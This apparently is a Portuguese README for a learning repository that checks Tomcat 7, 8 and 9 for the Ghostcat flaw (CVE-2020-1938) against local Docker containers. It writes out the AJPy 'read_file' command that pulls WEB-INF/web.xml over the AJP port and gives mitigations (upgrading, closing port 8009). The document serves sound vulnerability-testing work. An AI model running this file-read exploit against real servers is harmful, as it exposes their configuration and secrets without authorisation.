
Aprendizados sobre como verificar se é vulnerável ao Ghostcat (também conhecido como CVE-2020-1938)
Um novo exploit chamado Ghostcat foi encontrado CVE-2020-1938, veja os artigos no snyk e tenable para detalhes e análise do exploit em si.
No meu caso, queria verificar quais servidores Tomcat são exploráveis e, se sim, como isso se manifesta. Portanto, este experimento é para verificar o Tomcat 7, 8 e 9.
TODO: Como verificar se um Tomcat 7 é vulnerável?
Em vez de testar exploits em servidores ativos, estou usando compilações existentes do Tomcat para realizar meu experimento usando o AJPy que cria requisições AJP para se comunicar com conectores AJP.
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
Se ele retornar o web.xml, então esta versão do Tomcat é vulnerável ao exploit.
Se tentarmos o mesmo teste usando a versão mais recente do Tomcat 8.5, podemos ver que não é vulnerável a este erro específico.
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
Neste caso, devemos obter um erro do python, o que na verdade significa que o servidor não é vulnerável;
Traceback (most recent call last):
File "tomcat.py", line 377, in <module>
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
...
...
struct.error: unpack requires a buffer of 5 bytes
TODO: Como verificar se um Tomcat 9 é vulnerável?
TODO: Como verificar se um serviço Springboot é vulnerável?
Obviamente, se for vulnerável (independentemente da versão), você deve considerar atualizar para as versões corrigidas. Outra opção é bloquear o acesso à porta AJP.
Inicie a mesma versão do Tomcat, mas não exponha a porta AJP 8009.
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
Neste caso, podemos ver que ele falhará ao explorar o servidor.
Não sou um profissional de segurança e este repositório foi criado para fins de aprendizado, não se destina a ser usado para fins maliciosos.